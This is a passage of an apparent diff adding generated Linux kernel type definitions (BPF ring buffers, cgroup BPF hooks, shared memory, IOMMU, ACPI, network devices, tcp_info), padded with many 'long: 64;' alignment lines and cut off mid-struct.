long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long unsigned int producer_pos; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + char data[0]; +}; + +struct bpf_ringbuf_map { + struct bpf_map map; + struct bpf_ringbuf *rb; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct bpf_ringbuf_hdr { + u32 len; + u32 pg_off; +}; + +typedef u64 (*btf_bpf_ringbuf_reserve)(struct bpf_map *, u64, u64); + +typedef u64 (*btf_bpf_ringbuf_submit)(void *, u64); + +typedef u64 (*btf_bpf_ringbuf_discard)(void *, u64); + +typedef u64 (*btf_bpf_ringbuf_output)(struct bpf_map *, void *, u64, u64); + +typedef u64 (*btf_bpf_ringbuf_query)(struct bpf_map *, u64); + +typedef u64 (*btf_bpf_ringbuf_reserve_dynptr)(struct bpf_map *, u32, u64, struct bpf_dynptr_kern *); + +typedef u64 (*btf_bpf_ringbuf_submit_dynptr)(struct bpf_dynptr_kern *, u64); + +typedef u64 (*btf_bpf_ringbuf_discard_dynptr)(struct bpf_dynptr_kern *, u64); + +typedef u64 (*btf_bpf_user_ringbuf_drain)(struct bpf_map *, void *, void *, u64); + +enum { + BPF_F_SYSCTL_BASE_NAME = 1, +}; + +struct bpf_cgroup_dev_ctx { + __u32 access_type; + __u32 major; + __u32 minor; +}; + +struct bpf_sysctl { + __u32 write; + __u32 file_pos; +}; + +struct bpf_cg_run_ctx { + struct bpf_run_ctx run_ctx; + const struct bpf_prog_array_item *prog_item; + int retval; +}; + +struct bpf_sock_addr_kern { + struct sock *sk; + struct sockaddr *uaddr; + u64 tmp_reg; + void *t_ctx; +}; + +struct bpf_sysctl_kern { + struct ctl_table_header *head; + struct ctl_table *table; + void *cur_val; + size_t cur_len; + void *new_val; + size_t new_len; + int new_updated; + int write; + loff_t *ppos; + u64 tmp_reg; +}; + +struct bpf_sockopt_buf { + u8 data[32]; +}; + +struct bpf_sockopt_kern { + struct sock *sk; + u8 *optval; + u8 *optval_end; + s32 level; + s32 optname; + s32 optlen; + struct task_struct *current_task; + u64 tmp_reg; +}; + +struct bpf_cgroup_link { + struct bpf_link link; + struct cgroup *cgroup; + enum bpf_attach_type type; +}; + +struct bpf_prog_list { + struct hlist_node node; + struct bpf_prog *prog; + struct bpf_cgroup_link *link; + struct bpf_cgroup_storage *storage[2]; +}; + +struct cgroup_lsm_atype { + u32 attach_btf_id; + int refcnt; +}; + +typedef u64 (*btf_bpf_get_local_storage)(struct bpf_map *, u64); + +typedef u64 (*btf_bpf_get_retval)(); + +typedef u64 (*btf_bpf_set_retval)(int); + +typedef u64 (*btf_bpf_sysctl_get_name)(struct bpf_sysctl_kern *, char *, size_t, u64); + +typedef u64 (*btf_bpf_sysctl_get_current_value)(struct bpf_sysctl_kern *, char *, size_t); + +typedef u64 (*btf_bpf_sysctl_get_new_value)(struct bpf_sysctl_kern *, char *, size_t); + +typedef u64 (*btf_bpf_sysctl_set_new_value)(struct bpf_sysctl_kern *, const char *, size_t); + +typedef u64 (*btf_bpf_get_netns_cookie_sockopt)(struct bpf_sockopt_kern *); + +struct files_stat_struct { + long unsigned int nr_files; + long unsigned int nr_free_files; + long unsigned int max_files; +}; + +struct old_utimbuf32 { + old_time32_t actime; + old_time32_t modtime; +}; + +struct utimbuf { + __kernel_old_time_t actime; + __kernel_old_time_t modtime; +}; + +typedef struct { + __le32 *p; + __le32 key; + struct buffer_head *bh; +} Indirect; + +struct shmid_ds { + struct ipc_perm shm_perm; + int shm_segsz; + __kernel_old_time_t shm_atime; + __kernel_old_time_t shm_dtime; + __kernel_old_time_t shm_ctime; + __kernel_ipc_pid_t shm_cpid; + __kernel_ipc_pid_t shm_lpid; + short unsigned int shm_nattch; + short unsigned int shm_unused; + void *shm_unused2; + void *shm_unused3; +}; + +struct shmid64_ds { + struct ipc64_perm shm_perm; + __kernel_size_t shm_segsz; + long int shm_atime; + long int shm_dtime; + long int shm_ctime; + __kernel_pid_t shm_cpid; + __kernel_pid_t shm_lpid; + long unsigned int shm_nattch; + long unsigned int __unused4; + long unsigned int __unused5; +}; + +struct shminfo64 { + long unsigned int shmmax; + long unsigned int shmmin; + long unsigned int shmmni; + long unsigned int shmseg; + long unsigned int shmall; + long unsigned int __unused1; + long unsigned int __unused2; + long unsigned int __unused3; + long unsigned int __unused4; +}; + +struct shminfo { + int shmmax; + int shmmin; + int shmmni; + int shmseg; + int shmall; +}; + +struct shm_info { + int used_ids; + __kernel_ulong_t shm_tot; + __kernel_ulong_t shm_rss; + __kernel_ulong_t shm_swp; + __kernel_ulong_t swap_attempts; + __kernel_ulong_t swap_successes; +}; + +struct shmid_kernel { + struct kern_ipc_perm shm_perm; + struct file *shm_file; + long unsigned int shm_nattch; + long unsigned int shm_segsz; + time64_t shm_atim; + time64_t shm_dtim; + time64_t shm_ctim; + struct pid *shm_cprid; + struct pid *shm_lprid; + struct ucounts *mlock_ucounts; + struct task_struct *shm_creator; + struct list_head shm_clist; + struct ipc_namespace *ns; + long: 64; + long: 64; + long: 64; +}; + +struct shm_file_data { + int id; + struct ipc_namespace *ns; + struct file *file; + const struct vm_operations_struct *vm_ops; +}; + +struct hashtab_key_params { + u32 (*hash)(const void *); + int (*cmp)(const void *, const void *); +}; + +struct policydb_compat_info { + int version; + int sym_num; + int ocon_num; +}; + +enum rsapubkey_actions { + ACT_rsa_get_e = 0, + ACT_rsa_get_n = 1, + NR__rsapubkey_actions = 2, +}; + +enum rsaprivkey_actions { + ACT_rsa_get_d = 0, + ACT_rsa_get_dp = 1, + ACT_rsa_get_dq = 2, + ACT_rsa_get_e___2 = 3, + ACT_rsa_get_n___2 = 4, + ACT_rsa_get_p = 5, + ACT_rsa_get_q = 6, + ACT_rsa_get_qinv = 7, + NR__rsaprivkey_actions = 8, +}; + +struct rsa_mpi_key { + MPI n; + MPI e; + MPI d; + MPI p; + MPI q; + MPI dp; + MPI dq; + MPI qinv; +}; + +enum { + DIO_SHOULD_DIRTY = 1, + DIO_IS_SYNC = 2, +}; + +struct blkdev_dio { + union { + struct kiocb *iocb; + struct task_struct *waiter; + }; + size_t size; + atomic_t ref; + unsigned int flags; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct bio bio; + long: 64; + long: 64; +}; + +struct show_busy_params { + struct seq_file *m; + struct blk_mq_hw_ctx *hctx; +}; + +typedef struct { + BYTE maxTableLog; + BYTE tableType; + BYTE tableLog; + BYTE reserved; +} DTableDesc; + +typedef struct { + BYTE nbBits; + BYTE byte; +} HUF_DEltX1; + +typedef struct { + U32 rankVal[13]; + U32 rankStart[13]; + U32 statsWksp[218]; + BYTE symbols[256]; + BYTE huffWeight[256]; +} HUF_ReadDTableX1_Workspace; + +typedef struct { + U16 sequence; + BYTE nbBits; + BYTE length; +} HUF_DEltX2; + +typedef struct { + BYTE symbol; +} sortedSymbol_t; + +typedef U32 rankValCol_t[13]; + +typedef struct { + U32 rankVal[156]; + U32 rankStats[13]; + U32 rankStart0[15]; + sortedSymbol_t sortedSymbol[256]; + BYTE weightList[256]; + U32 calleeWksp[218]; +} HUF_ReadDTableX2_Workspace; + +typedef struct { + U32 tableTime; + U32 decode256Time; +} algo_time_t; + +struct pcie_link_state { + struct pci_dev *pdev; + struct pci_dev *downstream; + struct pcie_link_state *root; + struct pcie_link_state *parent; + struct list_head sibling; + u32 aspm_support: 7; + u32 aspm_enabled: 7; + u32 aspm_capable: 7; + u32 aspm_default: 7; + int: 4; + u32 aspm_disable: 7; + u32 clkpm_capable: 1; + u32 clkpm_enabled: 1; + u32 clkpm_default: 1; + u32 clkpm_disable: 1; +}; + +typedef u32 (*acpi_osd_handler)(void *); + +typedef void (*acpi_osd_exec_callback)(void *); + +typedef enum { + OSL_GLOBAL_LOCK_HANDLER = 0, + OSL_NOTIFY_HANDLER = 1, + OSL_GPE_HANDLER = 2, + OSL_DEBUGGER_MAIN_THREAD = 3, + OSL_DEBUGGER_EXEC_THREAD = 4, + OSL_EC_POLL_HANDLER = 5, + OSL_EC_BURST_HANDLER = 6, +} acpi_execute_type; + +struct acpi_gpio_params { + unsigned int crs_entry_index; + unsigned int line_index; + bool active_low; +}; + +struct acpi_os_dpc { + acpi_osd_exec_callback function; + void *context; + struct work_struct work; +}; + +struct acpi_ioremap { + struct list_head list; + void *virt; + acpi_physical_address phys; + acpi_size size; + union { + long unsigned int refcount; + struct rcu_work rwork; + } track; +}; + +struct acpi_hp_work { + struct work_struct work; + struct acpi_device *adev; + u32 src; +}; + +enum { + AML_FIELD_ATTRIB_QUICK = 2, + AML_FIELD_ATTRIB_SEND_RECEIVE = 4, + AML_FIELD_ATTRIB_BYTE = 6, + AML_FIELD_ATTRIB_WORD = 8, + AML_FIELD_ATTRIB_BLOCK = 10, + AML_FIELD_ATTRIB_BYTES = 11, + AML_FIELD_ATTRIB_PROCESS_CALL = 12, + AML_FIELD_ATTRIB_BLOCK_PROCESS_CALL = 13, + AML_FIELD_ATTRIB_RAW_BYTES = 14, + AML_FIELD_ATTRIB_RAW_PROCESS_BYTES = 15, +}; + +struct pericom8250 { + void *virt; + unsigned int nr; + int line[0]; +}; + +struct iommu_group { + struct kobject kobj; + struct kobject *devices_kobj; + struct list_head devices; + struct xarray pasid_array; + struct mutex mutex; + void *iommu_data; + void (*iommu_data_release)(void *); + char *name; + int id; + struct iommu_domain *default_domain; + struct iommu_domain *blocking_domain; + struct iommu_domain *domain; + struct list_head entry; + unsigned int owner_cnt; + void *owner; +}; + +enum iommu_fault_type { + IOMMU_FAULT_DMA_UNRECOV = 1, + IOMMU_FAULT_PAGE_REQ = 2, +}; + +enum iommu_resv_type { + IOMMU_RESV_DIRECT = 0, + IOMMU_RESV_DIRECT_RELAXABLE = 1, + IOMMU_RESV_RESERVED = 2, + IOMMU_RESV_MSI = 3, + IOMMU_RESV_SW_MSI = 4, +}; + +struct iommu_resv_region { + struct list_head list; + phys_addr_t start; + size_t length; + int prot; + enum iommu_resv_type type; + void (*free)(struct device *, struct iommu_resv_region *); +}; + +struct fsl_mc_obj_desc { + char type[16]; + int id; + u16 vendor; + u16 ver_major; + u16 ver_minor; + u8 irq_count; + u8 region_count; + u32 state; + char label[16]; + u16 flags; +}; + +struct fsl_mc_io; + +struct fsl_mc_device_irq; + +struct fsl_mc_resource; + +struct fsl_mc_device { + struct device dev; + u64 dma_mask; + u16 flags; + u32 icid; + u16 mc_handle; + struct fsl_mc_io *mc_io; + struct fsl_mc_obj_desc obj_desc; + struct resource *regions; + struct fsl_mc_device_irq **irqs; + struct fsl_mc_resource *resource; + struct device_link *consumer_link; + const char *driver_override; +}; + +enum fsl_mc_pool_type { + FSL_MC_POOL_DPMCP = 0, + FSL_MC_POOL_DPBP = 1, + FSL_MC_POOL_DPCON = 2, + FSL_MC_POOL_IRQ = 3, + FSL_MC_NUM_POOL_TYPES = 4, +}; + +struct fsl_mc_resource_pool; + +struct fsl_mc_resource { + enum fsl_mc_pool_type type; + s32 id; + void *data; + struct fsl_mc_resource_pool *parent_pool; + struct list_head node; +}; + +struct fsl_mc_device_irq { + unsigned int virq; + struct fsl_mc_device *mc_dev; + u8 dev_irq_index; + struct fsl_mc_resource resource; +}; + +struct fsl_mc_io { + struct device *dev; + u16 flags; + u32 portal_size; + phys_addr_t portal_phys_addr; + void *portal_virt_addr; + struct fsl_mc_device *dpmcp_dev; + union { + struct mutex mutex; + raw_spinlock_t spinlock; + }; +}; + +struct group_device { + struct list_head list; + struct device *dev; + char *name; +}; + +struct iommu_group_attribute { + struct attribute attr; + ssize_t (*show)(struct iommu_group *, char *); + ssize_t (*store)(struct iommu_group *, const char *, size_t); +}; + +struct group_for_pci_data { + struct pci_dev *pdev; + struct iommu_group *group; +}; + +struct __group_domain_type { + struct device *dev; + unsigned int type; +}; + +struct trace_event_raw_devres { + struct trace_entry ent; + u32 __data_loc_devname; + struct device *dev; + const char *op; + void *node; + const char *name; + size_t size; + char __data[0]; +}; + +struct trace_event_data_offsets_devres { + u32 devname; +}; + +typedef void (*btf_trace_devres_log)(void *, struct device *, const char *, void *, const char *, size_t); + +enum amd_chipset_gen { + NOT_AMD_CHIPSET = 0, + AMD_CHIPSET_SB600 = 1, + AMD_CHIPSET_SB700 = 2, + AMD_CHIPSET_SB800 = 3, + AMD_CHIPSET_HUDSON2 = 4, + AMD_CHIPSET_BOLTON = 5, + AMD_CHIPSET_YANGTZE = 6, + AMD_CHIPSET_TAISHAN = 7, + AMD_CHIPSET_UNKNOWN = 8, +}; + +struct amd_chipset_type { + enum amd_chipset_gen gen; + u8 rev; +}; + +struct amd_chipset_info { + struct pci_dev *nb_dev; + struct pci_dev *smbus_dev; + int nb_type; + struct amd_chipset_type sb_type; + int isoc_reqs; + int probe_count; + bool need_pll_quirk; +}; + +enum synaptics_pkt_type { + SYN_NEWABS = 0, + SYN_NEWABS_STRICT = 1, + SYN_NEWABS_RELAXED = 2, + SYN_OLDABS = 3, +}; + +struct synaptics_hw_state { + int x; + int y; + int z; + int w; + unsigned int left: 1; + unsigned int right: 1; + unsigned int middle: 1; + unsigned int up: 1; + unsigned int down: 1; + u8 ext_buttons; + s8 scroll; +}; + +struct synaptics_device_info { + u32 model_id; + u32 firmware_id; + u32 board_id; + u32 capabilities; + u32 ext_cap; + u32 ext_cap_0c; + u32 ext_cap_10; + u32 identity; + u32 x_res; + u32 y_res; + u32 x_max; + u32 y_max; + u32 x_min; + u32 y_min; +}; + +struct synaptics_data { + struct synaptics_device_info info; + enum synaptics_pkt_type pkt_type; + u8 mode; + int scroll; + bool absolute_mode; + bool disable_gesture; + struct serio *pt_port; + struct synaptics_hw_state agm; + unsigned int agm_count; + long unsigned int press_start; + bool press; + bool report_press; + bool is_forcepad; +}; + +struct min_max_quirk { + const char * const *pnp_ids; + struct { + u32 min; + u32 max; + } board_id; + u32 x_min; + u32 x_max; + u32 y_min; + u32 y_max; +}; + +typedef struct { + u32 version; + u32 num_entries; + u32 desc_size; + u32 flags; + efi_memory_desc_t entry[0]; +} efi_memory_attributes_table_t; + +typedef int (*efi_memattr_perm_setter)(struct mm_struct *, efi_memory_desc_t *, bool); + +struct ifbond { + __s32 bond_mode; + __s32 num_slaves; + __s32 miimon; +}; + +typedef struct ifbond ifbond; + +struct ifslave { + __s32 slave_id; + char slave_name[16]; + __s8 link; + __s8 state; + __u32 link_failure_count; +}; + +typedef struct ifslave ifslave; + +enum { + NAPIF_STATE_SCHED = 1, + NAPIF_STATE_MISSED = 2, + NAPIF_STATE_DISABLE = 4, + NAPIF_STATE_NPSVC = 8, + NAPIF_STATE_LISTED = 16, + NAPIF_STATE_NO_BUSY_POLL = 32, + NAPIF_STATE_IN_BUSY_POLL = 64, + NAPIF_STATE_PREFER_BUSY_POLL = 128, + NAPIF_STATE_THREADED = 256, + NAPIF_STATE_SCHED_THREADED = 512, +}; + +struct net_device_path_stack { + int num_paths; + struct net_device_path path[5]; +}; + +struct bpf_xdp_link { + struct bpf_link link; + struct net_device *dev; + int flags; +}; + +struct netdev_net_notifier { + struct list_head list; + struct notifier_block *nb; +}; + +struct cpu_rmap { + struct kref refcount; + u16 size; + void **obj; + struct { + u16 index; + u16 dist; + } near[0]; +}; + +struct netdev_notifier_changelowerstate_info { + struct netdev_notifier_info info; + void *lower_state_info; +}; + +struct netdev_notifier_pre_changeaddr_info { + struct netdev_notifier_info info; + const unsigned char *dev_addr; +}; + +struct netdev_notifier_offload_xstats_rd { + struct rtnl_hw_stats64 stats; + bool used; +}; + +struct netdev_notifier_offload_xstats_ru { + bool used; +}; + +struct netdev_notifier_offload_xstats_info { + struct netdev_notifier_info info; + enum netdev_offload_xstats_type type; + union { + struct netdev_notifier_offload_xstats_rd *report_delta; + struct netdev_notifier_offload_xstats_ru *report_used; + }; +}; + +enum { + NESTED_SYNC_IMM_BIT = 0, + NESTED_SYNC_TODO_BIT = 1, +}; + +struct netdev_bonding_info { + ifslave slave; + ifbond master; +}; + +struct netdev_notifier_bonding_info { + struct netdev_notifier_info info; + struct netdev_bonding_info bonding_info; +}; + +enum qdisc_state2_t { + __QDISC_STATE2_RUNNING = 0, +}; + +typedef int (*bpf_op_t)(struct net_device *, struct netdev_bpf *); + +struct dev_kfree_skb_cb { + enum skb_drop_reason reason; +}; + +struct netdev_adjacent { + struct net_device *dev; + netdevice_tracker dev_tracker; + bool master; + bool ignore; + u16 ref_nr; + void *private; + struct list_head list; + struct callback_head rcu; +}; + +struct tcp_repair_opt { + __u32 opt_code; + __u32 opt_val; +}; + +struct tcp_repair_window { + __u32 snd_wl1; + __u32 snd_wnd; + __u32 max_window; + __u32 rcv_wnd; + __u32 rcv_wup; +}; + +struct tcp_info { + __u8 tcpi_state; + __u8 tcpi_ca_state; + __u8 tcpi_retransmits; + __u8 tcpi_probes; + __u8 tcpi_backoff; + __u8 tcpi_options; + __u8 tcpi_snd_wscale: 4; + __u8 tcpi_rcv_wscale: 4; + __u8 tcpi_delivery_rate_app_limited: 1; + __u8 tcpi_fastopen_client_fail: 2; + __u32 tcpi_rto; + __u32 tcpi_ato; + __u32 tcpi_snd_mss; + __u32 tcpi_rcv_mss; + __u32 tcpi_unacked; + __u32 tcpi_sacked; + __u32 tcpi_lost; + __u32 tcpi_retrans; + __u32 tcpi_fackets; + __u32 tcpi_last_data_sent; + __u32 tcpi_last_ack_sent; + __u32 tcpi_last_data_recv; + __u32 tcpi_last_ack_recv; + __u32 tcpi_pmtu; + __u32 tcpi_rcv_ssthresh; + __u32 tcpi_rtt; + __u32 tcpi_rttvar; + __u32 tcpi_snd_ssthresh; + __u32 tcpi_snd_cwnd; + __u32 tcpi_advmss; + __u32 tcpi_reordering; + __u32 tcpi_rcv_rtt; + __u32 tcpi_rcv_space; + __u32 tcpi_total_retrans; + __u64 